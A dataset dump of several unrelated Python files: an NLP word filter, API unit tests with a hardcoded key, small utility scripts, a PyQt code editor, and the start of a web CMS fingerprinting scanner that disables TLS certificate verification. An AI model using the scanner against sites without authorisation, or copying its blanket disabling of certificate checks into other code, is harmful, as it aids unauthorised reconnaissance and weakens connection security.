)\n","sub_path":"isitworthit.py","file_name":"isitworthit.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"478899736","text":"import numpy as np\r\nfrom textblob import classifiers\r\nfrom textblob import TextBlob\r\nfrom nltk import *\r\n\r\nclass RemoveInfrequentWords:\r\n\r\n training_data_file = open(\"CleanText_out.csv\", \"r\")\r\n training_entire_text = training_data_file.read()\r\n training_data_file.close()\r\n training_tuples = training_entire_text.split(\"\\n\")\r\n classifications = []\r\n \r\n for t in training_tuples:\r\n temp_split = t.split(\",\")\r\n classifications.append(temp_split[1])\r\n \r\n examples = training_tuples\r\n #examples = examples[0:-39000] this is for testing purposes\r\n review_dict = {} #having this as a dictionary makes no sense but i dont want to go back and chnange the implementation, it works\r\n word_set = set() #set of all unique words\r\n i = 0\r\n for review in examples:\r\n review_tokens = word_tokenize(review)\r\n word_set = word_set.union(set(review_tokens)) #add to the word_set\r\n review_dict[i] = (set(review_tokens)) #store each review indexed by i as a set of the words contained in the review\r\n print(i)\r\n i += 1\r\n \r\n counter = Counter()\r\n k = 0\r\n write_string = \"\"\r\n num_words = 0\r\n bad_words = set()\r\n for word in word_set:\r\n last_seen = -1 #keeps track of the index of the last review that contains 'word' (there is guarenteed to be at least one)\r\n print(word)\r\n for k in range(0, len(review_dict)):\r\n if word in review_dict[k]:\r\n counter[word] += 1 #count the number of occurences of that word\r\n last_seen = k #this is the position of review_dict that contained the last occurence of 'word'\r\n k += 1 \r\n\r\n if counter[word] == 1: #if 'word' only occured once, revmove it from the review (the set of words in that review)\r\n review_dict[last_seen].remove(word)\r\n print(word + \" removed: \" + str(review_dict[last_seen]))\r\n bad_words.add(word) #build up the bad word list (removed later, cant remove from word_list directly because it causes an error)\r\n\r\n k = -1 #reset k\r\n print(num_words) #count the total number of words processed so far\r\n num_words += 1\r\n\r\n single_occurence_file = open(\"RemoveInfrequentWords_out.csv\", \"w+\")\r\n word_set = word_set.difference(bad_words)\r\n write_string = \"\"\r\n num_reviews = 1\r\n for ex in examples: #for every review of the input file (line by line)\r\n temp_string = \"\" #build the review from this\r\n example_tokens = word_tokenize(ex.replace(',', \"\")) #tokenize the review (doesn't delete duplicates)\r\n for token in example_tokens: #for every word in the review, add it to temp_string the number of times it occurs if it's in the word_set\r\n if token in word_set:\r\n temp_string += token + \" \"\r\n temp_string = temp_string.replace(\"positive\", \"\")\r\n temp_string = temp_string.replace(\"negative\", \"\")\r\n temp_string = temp_string.replace(\"neutral\", \"\")\r\n temp_string += \",\" + classifications[num_reviews - 1] \r\n temp_string += \"\\n\"\r\n write_string += temp_string #add a newline char and add it to the write_string\r\n print(temp_string)\r\n num_reviews += 1\r\n \r\n \r\n print(write_string)\r\n single_occurence_file.write(write_string) #print the write_string\r\n single_occurence_file.close() \r\n \r\n ","sub_path":"RemoveInfrequentWords.py","file_name":"RemoveInfrequentWords.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"448343551","text":"'''\nAutor: Marcos Felipe da Silva\nversão: 1.0\n\nDescrição: Faz testes na rota de atualização de senha do usuario\n'''\n\nimport unittest, json\nfrom requests import Session\nfrom cred import obj\n\nclass TestAtualizarUsuario(unittest.TestCase):\n\n def __init__(self, *args, **kargs):\n super(TestAtualizarUsuario, self).__init__(*args, **kargs)\n self._host = 'http://localhost:8585'\n self._c = Session()\n self._url = '/atualizar_usuario'\n self._chave = '4XhUhmpdVOb1N4OH9i4ZC5kfZVP2'\n \n def setUp(self):\n self._c.get(self._host+'/validar_autenticacao/'+self._chave)\n \n def tearDown(self):\n self._c.get(self._host+'/logout')\n \n def test_a_usuario_nao_autenticado(self):\n ''' LANCA O PRIMEIRO TESTE, USUARIO NAO AUTENTICADO'''\n self._c.get(self._host+'/logout')\n dados = {'dados': json.dumps({'senha': 'fulano'})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_b_envio_sem_campo_dados(self):\n ''' TENTA ENVIAR SEM TER O CAMPO DADOS'''\n dados = {'outros': json.dumps({'senha': 'fulano'})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_c_envio_campo_dados_nao_json(self):\n ''' TENTA ENVIAR SEM QUE O CAMPO DADOS SEJA JSON'''\n dados = {'dados': {'senha': 'fulano'}}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_d_envio_atributo_senha_ausente(self):\n ''' TENTA ENVIAR COM ATRIBUTO SENHA AUSENTE'''\n dados = {'dados': json.dumps({})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_e_envio_atributo_senha_com_menos_de_6_caracteres(self):\n ''' TENTA ENVIAR O ATRIBUTO SENHA COM MENOS DE 6 CARACTERES'''\n dados = {'dados': json.dumps({'senha': '1234'})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_f_envio_atributo_email_fora_do_padrao(self):\n ''' TESTA O ENVIO DO ATRIBUTO email FORA DO PADRAO '''\n dados = {'dados': json.dumps({'senha': '123456', 'email': 'fora_do_padrao'})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('erro', resp.keys())\n \n def test_g_envio_dados_corretos(self):\n ''' TESTA O ENVIO DOS DADOS CORRETOS MAS SEM ENVIAR O EMAIL PARA NÃO DESORGANIZA-LO '''\n dados = {'dados': json.dumps({'senha': '123456'})}\n resp = self._c.put(self._host+self._url, data = dados).json()\n print(resp)\n self.assertIn('sucesso', resp.keys())\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"__testes__/index/test_atualizar_usuario.py","file_name":"test_atualizar_usuario.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"536243418","text":"import pyqrcode\nimport pytube\nfrom pytube import YouTube\n\n\ndef dl_youtube_video(path):\n YouTube(path).streams.first().download()\n\n\ndef make_qrcode(path):\n qr = pyqrcode.create(path)\n qr.eps('generated.eps', scale=6)\n qr.svg('qweqe.svg', scale=6)\n print(qr.terminal(quiet_zone=1))\n\n\ndef main():\n key = input(\"1 for youtube video\\n2 for qr code\\n\")\n path = input(\"Input path:\\n\")\n if key == \"1\":\n dl_youtube_video(\"https://www.youtube.com/watch?v=CARGvO4ENRA\")\n elif key == \"2\":\n make_qrcode(\"https://goo.gl/forms/6ULb1OZG0x9LlPzL2\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tester/allinone.py","file_name":"allinone.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"399770319","text":"#!/usr/bin/python3\n\"\"\"This module makes a request to an API\nand exports the results to a csv file\"\"\"\nimport csv\nimport requests as rq\nimport sys\n\nurl = 'https://jsonplaceholder.typicode.com/users/{}/{}'\nif __name__ == '__main__':\n _id = sys.argv[1]\n u = rq.get(url.format(_id, '')).json()\n todos = rq.get(url.format(_id, 'todos')).json()\n\n username = u.get('username')\n data = []\n for task in todos:\n data.append([_id, username, task.get('completed'), task.get('title')])\n\n filename = '{}.csv'.format(_id)\n with open(filename, 'w', encoding='utf-8') as f:\n writer = csv.writer(f, quoting=csv.QUOTE_ALL)\n writer.writerows(data)\n","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"608471361","text":"from utils import twin_validator, remove_a_chr\nfrom PyQt5 import QtGui, QtCore\nfrom PyQt5.QtWidgets import QWidget, QPlainTextEdit, QApplication, QTextEdit, QVBoxLayout\nfrom PyQt5.QtGui import QColor, QTextFormat, QPainter, QSyntaxHighlighter, QTextCursor, QTextCharFormat\nfrom PyQt5.QtCore import QRect, pyqtSlot, Qt, QSize, QEvent, QObject\n\n\nclass LineNumberArea(QWidget):\n def __init__(self, editor):\n QWidget.__init__(self, parent=editor)\n self.codeEditor = editor\n\n def sizeHint(self):\n return QSize(self.codeEditor.lineNumberAreaWidth(), 0)\n\n def paintEvent(self, event):\n self.codeEditor.lineNumberAreaPaintEvent(event)\n\n\nclass CodeEditor(QPlainTextEdit):\n keyPressed = QtCore.pyqtSignal(int)\n\n def keyPressEvent(self, event):\n super(CodeEditor, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n\n def __init__(self, parent=None):\n QPlainTextEdit.__init__(self, parent)\n self.setTabStopWidth(40)\n self.lineNumberArea = LineNumberArea(self)\n self.blockCountChanged.connect(self.updateLineNumberAreaWidth)\n self.updateRequest.connect(self.updateLineNumberArea)\n self.cursorPositionChanged.connect(self.highlightCurrentLine)\n self.keyPressed.connect(self.key_call)\n self.updateLineNumberAreaWidth(0)\n\n def key_call(self, key):\n if key == QtCore.Qt.Key_Return:\n cleanedText = list(self.toPlainText())\n # Cleaning Starts\n cleanedText = ''.join(cleanedText)\n # Cleaning Ends\n \n indentPrev = int(cleanedText[:self.textCursor().position()].endswith('{\\n'))\\\n + len(cleanedText.split('\\n')[self.textCursor().blockNumber()-1])\\\n - len(cleanedText.split('\\n')[self.textCursor().blockNumber()-1].lstrip('\\t'))\n\n # help(self.textCursor())\n\n # print(cleanedText[:self.textCursor().position()].split('\\n'), int(indentPrev))\n\n self.insertPlainText(int(indentPrev)*'\\t')\n if self.toPlainText().split('\\n')[self.textCursor().blockNumber()-1].endswith('{') and\\\n self.toPlainText()[self.textCursor().position():].replace('\\t', '').startswith('}'):\n self.insertPlainText('\\n')\n self.insertPlainText('\\t'*(indentPrev-1))\n for _ in range(indentPrev):\n self.moveCursor(QTextCursor.Left)\n\n\n elif key == QtCore.Qt.Key_Home:\n try:\n if self.textCursor().document().toPlainText()[self.textCursor().position():].split('\\n')[0][0] is not '\\t':\n self.moveCursor(QTextCursor.StartOfLine)\n return\n for i in self.textCursor().block().text():\n if i == '\\t':\n self.moveCursor(QTextCursor.Right)\n else:\n break\n except IndexError:\n pass\n\n elif key in (\n QtCore.Qt.Key_BraceLeft,\n QtCore.Qt.Key_BracketLeft,\n QtCore.Qt.Key_ParenLeft,\n QtCore.Qt.Key_Apostrophe,\n QtCore.Qt.Key_QuoteDbl,\n ):\n brotherASCII = {\n '(': ')',\n '{': '}',\n '[': ']',\n '\"': '\"',\n '\\'': '\\'',\n }\n if not twin_validator(self.toPlainText(), ['{', '[', '(', '\\'', '\"']):\n last_pos = self.textCursor().position()-1\n self.insertPlainText(brotherASCII[self.toPlainText()[last_pos]])\n self.moveCursor(QTextCursor.Left)\n\n elif key in (\n QtCore.Qt.Key_BraceRight,\n QtCore.Qt.Key_BracketRight,\n QtCore.Qt.Key_ParenRight,\n QtCore.Qt.Key_Apostrophe,\n QtCore.Qt.Key_QuoteDbl,\n ):\n last_pos = self.textCursor().position()-1\n try:\n cursorNext = self.toPlainText()[last_pos+1]\n except IndexError:\n cursorNext = ''\n if twin_validator(remove_a_chr(self.toPlainText(), last_pos+1), [self.toPlainText()[last_pos-1]]) \\\n and cursorNext in ('\"', '\\'', ')', '}', ']'):\n self.textCursor().deletePreviousChar()\n self.moveCursor(QTextCursor.Right)\n\n def lineNumberAreaPaintEvent(self, event):\n painter = QPainter(self.lineNumberArea)\n painter.fillRect(event.rect(), Qt.white)\n\n block = self.firstVisibleBlock()\n blockNumber = block.blockNumber()\n top = self.blockBoundingGeometry(block).translated(self.contentOffset()).top()\n bottom = top + self.blockBoundingRect(block).height()\n\n while block.isValid() and top <= event.rect().bottom():\n if block.isVisible() and bottom >= event.rect().top():\n number = str(blockNumber + 1)\n painter.setPen(Qt.black)\n painter.drawText(0, top, self.lineNumberArea.width(),\n self.fontMetrics().height(),\n Qt.AlignCenter, number)\n block = block.next()\n top = bottom\n bottom = top + self.blockBoundingRect(block).height()\n blockNumber += 1\n\n def lineNumberAreaWidth(self):\n digits = len(str(self.blockCount()))\n space = 50 + (\n 0 if (self.fontMetrics().width('9') * digits < 40) else (self.fontMetrics().width('9') * digits) // 3)\n return space\n\n def resizeEvent(self, event):\n QPlainTextEdit.resizeEvent(self, event)\n cr = self.contentsRect()\n self.lineNumberArea.setGeometry(QRect(cr.left(), cr.top(), self.lineNumberAreaWidth(), cr.height()))\n\n @pyqtSlot(int)\n def updateLineNumberAreaWidth(self, newBlockCount):\n self.setViewportMargins(self.lineNumberAreaWidth(), 0, 0, 0)\n\n @pyqtSlot()\n def highlightCurrentLine(self):\n extraSelections = []\n if not self.isReadOnly():\n selection = QTextEdit.ExtraSelection()\n lineColor = QColor(Qt.magenta).lighter(20)\n selection.format.setBackground(lineColor)\n selection.format.setProperty(QTextFormat.FullWidthSelection, True)\n selection.cursor = self.textCursor()\n selection.cursor.clearSelection()\n extraSelections.append(selection)\n self.setExtraSelections(extraSelections)\n\n\n @pyqtSlot(QRect, int)\n def updateLineNumberArea(self, rect, dy):\n if dy:\n self.lineNumberArea.scroll(0, dy)\n else:\n self.lineNumberArea.update(0, rect.y(), self.lineNumberArea.width(), rect.height())\n if rect.contains(self.viewport().rect()):\n self.updateLineNumberAreaWidth(0)\n\nif __name__ == '__main__':\n import sys\n app = QApplication(sys.argv)\n w = CodeEditor()\n w.show()\n sys.exit(app.exec_())\n","sub_path":"codeeditor.py","file_name":"codeeditor.py","file_ext":"py","file_size_in_byte":6940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"101047078","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Origin Source : https://github.com/TideSec/TideFinger\n# @Time : 2020/8/04 下午18:23\n# @Author : littleji\n# @Site : www.littleji.com\n\nimport hashlib, time, requests, os\nimport random, ssl, getopt\nimport threading, queue, datetime\nimport sys, re, sqlite3, lxml\nfrom bs4 import BeautifulSoup as BS\n\ntry:\n import requests\nexcept Exception as e:\n print('pip install requests[security]')\n os._exit(0)\n\ntry:\n import lxml\nexcept Exception as e:\n print('pip install lxml')\n os._exit(0)\n\n# Check py version\npyversion = sys.version.split()[0]\nif pyversion < \"3\":\n exit('Need python version > 3.6')\n\nlock = threading.Lock()\n\npwd = os.getcwd()\n\n# Ignore warning\nrequests.packages.urllib3.disable_warnings()\n# Ignore ssl warning info.\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n # Legacy Python that doesn't verify HTTPS certificates by default\n pass\nelse:\n # Handle target environment that doesn't support HTTPS verification\n ssl._create_default_https_context = _create_unverified_https_context\n\nheader_task = {\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Cookie':\n 'thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; think_var=zh-cn; PHPSESSID=gljsd5c3ei5n813roo4878q203',\n 'X-Requested-With': 'XMLHttpRequest'\n}\n\ncms_finger_list = [\n '08cms', '1039_jxt', '1039\\xe5\\xae\\xb6\\xe6\\xa0\\xa1\\xe9\\x80\\x9a',\n '3gmeeting', '3gmeeting\\xe8\\xa7\\x86\\xe8\\xae\\xaf\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '51fax\\xe4\\xbc\\xa0\\xe7\\x9c\\x9f\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', '53kf', '5ucms',\n '686_weixin', '6kbbs', '74cms', '86cms',\n 'afterlogicwebmail\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'appcms', 'aspcms',\n 'b2bbuilder', 'beescms',\n 'bookingecms\\xe9\\x85\\x92\\xe5\\xba\\x97\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'cactiez\\xe6\\x8f\\x92\\xe4\\xbb\\xb6', 'chinacreator', 'cxcms',\n 'dk\\xe5\\x8a\\xa8\\xe7\\xa7\\x91cms',\n 'doyo\\xe9\\x80\\x9a\\xe7\\x94\\xa8\\xe5\\xbb\\xba\\xe7\\xab\\x99\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'dtcms', 'dvrdvs-webs', 'datalifeengine', 'dayucms', 'dedecms', 'destoon',\n 'digital campus2.0', 'digitalcampus2.0', 'discuz', 'discuz7.2', 'drupal',\n 'dswjcms', 'duomicms', 'dvbbs', 'dzzoffice', 'ecshop',\n 'ec_word\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'emlog', 'easysite\\xe5\\x86\\x85\\xe5\\xae\\xb9\\xe7\\xae\\xa1\\xe7\\x90\\x86',\n 'edusoho', 'empirecms',\n 'epaper\\xe6\\x8a\\xa5\\xe5\\x88\\x8a\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'epoint',\n 'espcms', 'fengcms', 'foosuncms', 'gentlecms', 'gever', 'glassfish',\n 'h5\\xe9\\x85\\x92\\xe5\\xba\\x97\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'hdwiki',\n 'hjcms\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'himail', 'hishop\\xe5\\x95\\x86\\xe5\\x9f\\x8e\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'hituxcms', 'ilas\\xe5\\x9b\\xbe\\xe4\\xb9\\xa6\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'iloanp2p\\xe5\\x80\\x9f\\xe8\\xb4\\xb7\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'imo\\xe4\\xba\\x91\\xe5\\x8a\\x9e\\xe5\\x85\\xac\\xe5\\xae\\xa4\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'insightsoft', 'iwebshop', 'iwmscms', 'jboos', 'jishigou', 'jeecms',\n 'jingyi', 'joomla',\n 'kangle\\xe8\\x99\\x9a\\xe6\\x8b\\x9f\\xe4\\xb8\\xbb\\xe6\\x9c\\xba', 'kesioncms',\n 'kessioncms', 'kingcms',\n 'lebishop\\xe7\\xbd\\x91\\xe4\\xb8\\x8a\\xe5\\x95\\x86\\xe5\\x9f\\x8e', 'live800',\n 'live800\\xe6\\x8f\\x92\\xe4\\xbb\\xb6', 'ljcms', 'mlecms', 'mailgard',\n 'majexpress', 'mallbuilder', 'maticsoftsns', 'minyoocms', 'mvmmall',\n 'mymps\\xe8\\x9a\\x82\\xe8\\x9a\\x81\\xe5\\x88\\x86\\xe7\\xb1\\xbb\\xe4\\xbf\\xa1\\xe6\\x81\\xaf',\n 'n\\xe7\\x82\\xb9\\xe8\\x99\\x9a\\xe6\\x8b\\x9f\\xe4\\xb8\\xbb\\xe6\\x9c\\xba', 'opensns',\n 'ourphp', 'php168', 'phpcms', 'phpwind', 'phpok',\n 'piw\\xe5\\x86\\x85\\xe5\\xae\\xb9\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'phpmyadmin', 'phpwind\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xa8\\x8b\\xe5\\xba\\x8f',\n 'pigcms',\n 'powercreator\\xe5\\x9c\\xa8\\xe7\\xba\\xbf\\xe6\\x95\\x99\\xe5\\xad\\xa6\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'powereasy', 'sapnetweaver', 'shopex', 'shop7z',\n 'shopnc\\xe5\\x95\\x86\\xe5\\x9f\\x8e\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'shopnum',\n 'siteserver', 'soullon', 'southidc', 'supesite',\n 't-site\\xe5\\xbb\\xba\\xe7\\xab\\x99\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'theol\\xe7\\xbd\\x91\\xe7\\xbb\\x9c\\xe6\\x95\\x99\\xe5\\xad\\xa6\\xe7\\xbb\\xbc\\xe5\\x90\\x88\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n 'trs\\xe8\\xba\\xab\\xe4\\xbb\\xbd\\xe8\\xae\\xa4\\xe8\\xaf\\x81\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'tipask\\xe9\\x97\\xae\\xe7\\xad\\x94\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'tomcat',\n 'trsids', 'trunkey',\n 'turbomail\\xe9\\x82\\xae\\xe7\\xae\\xb1\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'v2\\xe8\\xa7\\x86\\xe9\\xa2\\x91\\xe4\\xbc\\x9a\\xe8\\xae\\xae\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'v5shop',\n 'venshop2010\\xe5\\x87\\xa1\\xe4\\xba\\xba\\xe7\\xbd\\x91\\xe7\\xbb\\x9c\\xe8\\xb4\\xad\\xe7\\x89\\xa9\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'vos3000', 'veryide', 'wcm\\xe7\\xb3\\xbb\\xe7\\xbb\\x9fv6', 'wordpress',\n 'ws2004\\xe6\\xa0\\xa1\\xe5\\x9b\\xad\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'wangzt', 'weblogic', 'webmail', 'weboffice', 'webnet cms', 'webnetcms',\n 'wilmaroa\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'winmail server', 'winmailserver',\n 'wizbank', 'xplus\\xe6\\x8a\\xa5\\xe7\\xa4\\xbe\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'xpshop', 'yidacms', 'yongyou', 'z-blog', 'zabbix', 'zoomla', 'abcms',\n 'able_g2s', 'acsno', 'acsoft', 'actcms', 'adtsec_gateway', 'akcms',\n 'anleye', 'anmai',\n 'anmai\\xe5\\xae\\x89\\xe8\\x84\\x89\\xe6\\x95\\x99\\xe5\\x8a\\xa1\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'anymacromail', 'apabi_tasi', 'asiastar_sm', 'aten_kvm', 'atripower',\n 'avcon6', 'axis2', 'ayacms', 'b2cgroup', 'baiaozhi', 'beidou', 'bluecms',\n 'boblog', 'bocweb', 'bohoog', 'bytevalue_router', 'canon', 'chamilo-lms',\n 'ckfinder', 'cmseasy', 'cmstop', 'cnoa', 'codeigniter', 'comexe_ras',\n 'cscms', 'cutecms', 'd-link', 'dahua_dss', 'daiqile_p2p', 'dalianqianhao',\n 'damall', 'damicms', 'dfe_scada', 'dianyips',\n 'diguocms\\xe5\\xb8\\x9d\\xe5\\x9b\\xbd', 'dircms', 'dkcms', 'dossm', 'douphp',\n 'dreamgallery', 'dubbo', 'eshangbao\\xe6\\x98\\x93\\xe5\\x95\\x86\\xe5\\xae\\x9d',\n 'easethink',\n 'easy7\\xe8\\xa7\\x86\\xe9\\xa2\\x91\\xe7\\x9b\\x91\\xe6\\x8e\\xa7\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n 'ecweb_shop', 'edayshop', 'edjoy', 'eduplate', 'edusohocms', 'eims',\n 'eimscms', 'electric_monitor', 'empire_cms', 'enableq', 'enjie_soft',\n 'es-cloud', 'esafenet_dlp', 'esccms', 'ewebs', 'expocms', 'extmail',\n 'eyou', 'e\\xe5\\x88\\x9b\\xe7\\xab\\x99', 'fang5173', 'fangwei', 'fastmeeting',\n 'fcms', 'fcms\\xe6\\xa2\\xa6\\xe6\\x83\\xb3\\xe5\\xbb\\xba\\xe7\\xab\\x99',\n 'feifeicms', 'feiyuxing_router', 'finecms', 'fiyocms', 'foosun',\n 'foosun\\xe6\\x96\\x87\\xe7\\xab\\xa0\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f', 'fsmcms',\n 'gbcom_wlan', 'genixcms', 'gnuboard', 'gocdkey', 'gooine_sqjz',\n 'gowinsoft_jw', 'gxcms', 'hac_gateway', 'haitianoa', 'hanweb', 'haohan',\n 'heeroa', 'hf_firewall', 'hongzhi', 'horde_email', 'house5', 'hsort',\n 'huachuang_router', 'huanet', 'huashi_tv', 'humhub', 'idvr', 'ipowercms',\n 'iceflow_vpn_router', 'ideacms', 'ieadcms', 'iflytek_soft', 'igenus',\n 'ikuai', 'insight', 'jenkins', 'jienuohan', 'jieqicms', 'jindun_gateway',\n 'jingci_printer', 'jinpan', 'jinqiangui_p2p', 'jishitongxun', 'joomle',\n 'jumbotcms', 'juniper_vpn', 'kill_firewall', 'kingdee_eas', 'kingdee_oa',\n 'kinggate', 'kingosoft_xsweb', 'kj65n_monitor', 'klemanndesign', 'kuwebs',\n 'kxmail', 'landray', 'lebishop', 'lezhixing_datacenter', 'lianbangsoft',\n 'liangjing', 'libsys', 'linksys', 'looyu_live', 'ltpower', 'luepacific',\n 'luzhucms', 'lvmaque', 'maccms', 'magento', 'mailgard-webmail',\n 'mainone_b2b', 'maopoa', 'maxcms', 'mbbcms', 'metinfo', 'mikrotik_router',\n 'moxa_nport_router', 'mpsec', 'myweb', 'nanjing_shiyou', 'natshell',\n 'nbcms', 'net110', 'netcore', 'netgather', 'netoray_nsg', 'netpower',\n 'newvane_onlineexam', 'nitc',\n 'nitc\\xe5\\xae\\x9a\\xe6\\xb5\\xb7\\xe7\\xa5\\x9e\\xe7\\x9c\\x9f', 'niubicms',\n 'ns-asg', 'otcms', 'pageadmin', 'panabit', 'phpb2b', 'phpcmsv9', 'phpdisk',\n 'phpmaps', 'phpmps', 'phpmywind', 'phpshe', 'phpshop', 'phpvibe', 'phpweb',\n 'phpwiki', 'phpyun', 'piaoyou', 'pkpmbs', 'plc_router', 'powercreator',\n 'qht_study', 'qianbocms', 'qibosoft', 'qiuxue', 'qizhitong_manager',\n 'qzdatasoft\\xe5\\xbc\\xba\\xe6\\x99\\xba\\xe6\\x95\\x99\\xe5\\x8a\\xa1\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n 'rockoa', 'rockontrol', 'ruijie_router', 'ruvar_oa', 'ruvarhrm', 's8000',\n 'santang', 'sdcms', 'seagate_nas', 'seawind', 'seentech_uccenter',\n 'sgc8000', 'shadows-it', 'shenlan_jiandu', 'shlcms', 'shopnum1', 'shopxp',\n 'shuangyang_oa', 'siteengine', 'sitefactory', 'skypost', 'skytech',\n 'smart_oa', 'soffice', 'soullon_edu', 'srun_gateway', 'star-net',\n 'startbbs', 'strongsoft', 'subeicms', 'syncthru_web_service',\n 'synjones_school', 'syxxjs', 'sztaiji_zw', 'taocms', 'taodi',\n 'terramaster', 'thinkox', 'thinkphp', 'thinksns', 'tianbo_train',\n 'tianrui_lib', 'tipask', 'tongdaoa', 'topsec', 'totalsoft_lib', 'tp-link',\n 'trs_ids', 'trs_inforadar', 'trs_lunwen', 'trs_wcm', 'typecho', 'umail',\n 'uniflows', 'unis_gateway', 'uniwin_gov', 'urp', 'v2_conference',\n 'vbulletin', 'vicworl', 'visionsoft_velcro', 'wangqushop', 'wdcp',\n 'wdscms', 'weaver_oa', 'websitebaker', 'wecenter', 'weixinpl',\n 'weway_soft', 'wisedu_elcs', 'workyisystem', 'workyi_system', 'wygxcms',\n 'xdcms', 'xiaowuyou_cms', 'xikecms', 'xinhaisoft', 'xinyang', 'xinzuobiao',\n 'xplus', 'xr_gatewayplatform', 'xuezi_ceping', 'xycms', 'ynedut_campus',\n 'yongyou_a8', 'yongyou_crm', 'yongyou_ehr', 'yongyou_fe', 'yongyou_icc',\n 'yongyou_nc', 'yongyou_u8', 'yongyou_zhiyuan_a6', 'yuanwei_gateway',\n 'yxlink', 'zblog', 'zcncms', 'zdsoft_cnet', 'zentao', 'zeroboard',\n 'zf_cms', 'zfsoft', 'zhongdongli_school', 'zhonghaida_vnet',\n 'zhongqidonglicms', 'zhongruan_firewall', 'zhoupu', 'zhuangxiu',\n 'zhuhaigaoling_huanjingzaosheng', 'zmcms', 'zmcms\\xe5\\xbb\\xba\\xe7\\xab\\x99',\n 'zte', 'zuitu', 'zzcms',\n '\\xe4\\xb8\\x87\\xe4\\xbc\\x97\\xe7\\x94\\xb5\\xe5\\xad\\x90\\xe6\\x9c\\x9f\\xe5\\x88\\x8acms',\n '\\xe4\\xb8\\x87\\xe5\\x8d\\x9a\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f2006',\n '\\xe4\\xb8\\x87\\xe5\\x8d\\x9a\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe4\\xb8\\x87\\xe6\\x88\\xb7oa',\n '\\xe4\\xb8\\x87\\xe6\\xac\\xa3\\xe9\\xab\\x98\\xe6\\xa0\\xa1\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe4\\xb8\\x89\\xe6\\x89\\x8d\\xe6\\x9c\\x9f\\xe5\\x88\\x8a\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe4\\xb8\\xad\\xe4\\xbc\\x81\\xe5\\x8a\\xa8\\xe5\\x8a\\x9bcms',\n 